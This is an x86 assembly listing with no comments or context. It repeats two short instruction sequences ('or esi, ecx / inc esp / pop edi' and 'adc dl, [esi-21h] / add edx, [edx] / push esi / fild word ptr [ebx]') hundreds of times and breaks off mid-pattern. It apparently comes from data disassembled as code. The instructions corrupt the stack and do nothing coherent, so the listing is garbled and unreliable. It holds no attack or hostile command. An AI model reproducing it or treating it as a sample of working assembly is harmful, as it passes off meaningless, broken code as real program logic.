or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or edx, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
add edx, [edx]
push esi
fild word ptr [ebx]
adc dl, [esi-21h]
